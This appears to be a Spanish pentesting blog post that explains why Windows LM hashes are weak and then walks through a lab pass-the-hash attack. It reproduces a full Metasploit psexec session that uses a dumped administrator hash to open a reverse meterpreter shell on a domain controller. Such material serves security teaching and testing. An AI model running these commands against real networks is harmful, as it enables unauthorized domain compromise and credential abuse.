pass-the-hash, o de cómo encasquetar credenciales a piñón

En el anterior post comenté muy por encima que los hashes LM que usa Windows hace tiempo que son vulnerables y su uso debería deshabilitarse en favor del algoritmo de NTLM, bastante más seguro. Ocurre sin embargo que no es tan fácil librarse de LM aunque lo deshabilites a fuego. En este post vamos a ver otra técnica de post-explotación relacionada con la autenticación de Windows.

Pero antes, un poquillo de teoría. Por qué LM es tan horriblemente malo? Vamos a suponer que mi contraseña es PeteSticks

  • Tiene un tamaño máximo de 14 caracteres permitidos. No es que sean pocos, pero limitar en tamaño nunca es sano. Si yo hubiera usado “PeterOfTheSticks” se me habría quedado en “PeterOfTheStic”. A la hora de crackear, no nos lo ponen imposible porque no podemos ponernos contraseñas de 40 caracteres.

  • Convierte la contraseña en mayúsculas. Por lo que da igual que sea PeteSticks que petesticks, que PeTeSTiCKS porque lo que va a almacenar es PETESTICKS. A la hora de crackear, un gran favor ahorrarnos todas las posibles permutaciones de mayus/minus.

  • Divide la contraseña en dos cachos de 7 letras. Así que mi contraseña quedaría en dos hashes, uno con “PeteSti” y otro con “cks”. A la hora de crackear, un lujazo que nos dividan en dos hashes de 7 letras en vez de un hash de 14.

En fin, que parece que está hecho a mala leche. Pero, que pasaría si la contraseña que usamos es más grande que de 14 caracteres? Como dijimos en el post anterior, w\$ almacena la contraseña tanto en LM como NTLM, por temas de compatibilidad. Si no puede encajar la contraseña en LM por ser mayor de 14, simplemente no la almacena como LM.

Se acabó entonces el sueño de probar si la contraseña de administrador local es la misma que la del controlador de dominio? Para nada! Con la técnica pass-the-hash, puedes autenticarte en otras máquinas sin necesidad de conocer la contraseña, si no que le encasquetas el hash recuperado a piñón.

Vamos con un ejemplo. Aprovechando el escenario del post anterior, he añadido una máquina Windows 2003 como controlador de dominio. Ambas contraseñas de administrador son iguales. Como antes, tenemos un equipo vulnerado, una sesión de meterpreter abierta, y los hashes dumpeados:

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set RHOST 10.10.10.108
RHOST => 10.10.10.108
msf exploit(psexec) > set LHOST 10.10.10.122
LHOST => 10.10.10.122
msf exploit(psexec) > set SMBUser Administrador
SMBUser => Administrador
msf exploit(psexec) > set SMBPass 3C4EADE58B96776D23878E2909B3739D:CE064B17D0B69B489693B2595A6C4A02
SMBPass => 3C4EADE58B96776D23878E2909B3739D:CE064B17D0B69B489693B2595A6C4A02
msf exploit(psexec) > set SMBDomain ZOMG
SMBDomain => ZOMG
msf exploit(psexec) > exploit
[*] Started reverse handler on 10.10.10.122:4444
[*] Connecting to the server...
[*] Authenticating to 10.10.10.108:445|ZOMG as user 'Administrador'...
[*] Uploading payload...
[*] Created \CpMKGTHZ.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.10.10.108[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.10.10.108[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (LHTbHmzQ - "MuOlyEJESyvTXXQRnQrzaMkaeWrxsOZz")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Sending stage (752128 bytes) to 10.10.10.108
[*] Closing service handle...
[*] Deleting \CpMKGTHZ.exe...
[*] Meterpreter session 1 opened (10.10.10.122:4444 -> 10.10.10.108:2139) at 2011-08-27 03:57:56 +0200`

FIESTA! Hemos conseguido una sesión de meterpreter en el servidor de AD, usando las credenciales de administrador y sin saber siquiera la contraseña. A partir de aquí el dominio y todos sus vasallos son de nuestra propiedad.

En el siguiente post seguiré con la temática de jugar con las credenciales de Windows en la fase de post-explotación de un pentest, con la suplantación de tokens y captura de hashes en memoria con WCE. :asdf!

social